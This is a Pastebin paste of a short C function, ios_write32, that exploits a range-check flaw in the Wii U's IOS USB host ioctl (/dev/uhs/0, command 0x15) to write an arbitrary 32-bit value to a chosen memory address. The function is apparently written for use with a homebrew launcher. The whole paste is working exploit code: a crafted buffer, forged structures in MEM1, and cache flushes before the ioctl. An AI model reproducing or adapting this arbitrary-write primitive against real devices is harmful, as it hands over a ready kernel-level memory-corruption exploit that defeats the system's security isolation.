Advertisement
SciresM

ios_write32

Jul 25th, 2016
224
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 1.64 KB | None | 0 0
  1. /*
  2.  * Exploits range check in /dev/uhs/0 Ioctl command 0x15
  3.  *
  4.  * Uses IOS commands from https://github.com/darksideos/darkside-kernel/blob/wiiu/bal/src/platform/wiiu/ios.c
  5.  * ported for usage with HBL.
  6.  */
  7. uint32_t ios_write32(int fd, uint32_t address, uint32_t value)
  8. {
  9.     int opened = 0;
  10.     if (fd == 0)
  11.     {
  12.         fd = IOS_Open("/dev/uhs/0", 10, 0);
  13.         opened = 1;
  14.     }
  15.     uint32_t * buffer = (uint32_t *)OSAllocFromSystem(0x70, 0x10);
  16.     for (int i = 0; i < 0x70/4; i++) buffer[i] = 0;
  17.    
  18.     // buf_0_m = (0x10146080 + 0x144 * buffer[0] + 0x39EC)
  19.     // buffer[0] == 0xEDC7D670 => buf_0_m = 0x100002C
  20.     // Corresponds to virtual address 0xF500002C.
  21.     buffer[0] = 0xEDC7D670;
  22.     buffer[1] = value;
  23.    
  24.     // Setup MEM1 for hax
  25.     uint32_t MEMBASE = 0xF4000000;
  26.     uint32_t * MEM1 = (uint32_t *)0xF500002C;
  27.     uint32_t * TEMP = (uint32_t *)0xF5300000;
  28.  
  29.     MEM1[0x4E] = 0; // if ( buf_0_m[0x4E] )      
  30.     MEM1[0x21] = ((uint32_t)MEM1) - MEMBASE; // v11 = (_DWORD *)buf_0_m[0x21];
  31.     MEM1[0x8] = ((uint32_t)TEMP) - MEMBASE; // v12 = v11[8]
  32.     TEMP[5] = 1; // if ( v12[5] )
  33.     TEMP[520] = address - 0x18; //  *(_DWORD *)(v12[520] + 0x18) = buf_1;
  34.     TEMP[33] = 0; // Guaranteed immediate return if !(*(_DWORD *)((v12+108) + 24)), or v12[33].
  35.  
  36.     DCFlushRange(MEM1, 0x1000);
  37.     DCFlushRange(TEMP, 0x1000);
  38.     DCFlushRange(buffer, 0x70);
  39.      
  40.     int ret = IOS_Ioctl(fd, 0x15, buffer, 0x70, NULL, 0);
  41.    
  42.     if (opened)
  43.     {
  44.         IOS_Close(fd);
  45.     }
  46.  
  47.     // Small wait.
  48.     int ctr = 0;
  49.     for (int i = 0; i < 0x00500000; i++) ctr++;
  50.    
  51.     OSFreeToSystem(buffer);
  52.    
  53.     return ret;
  54. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement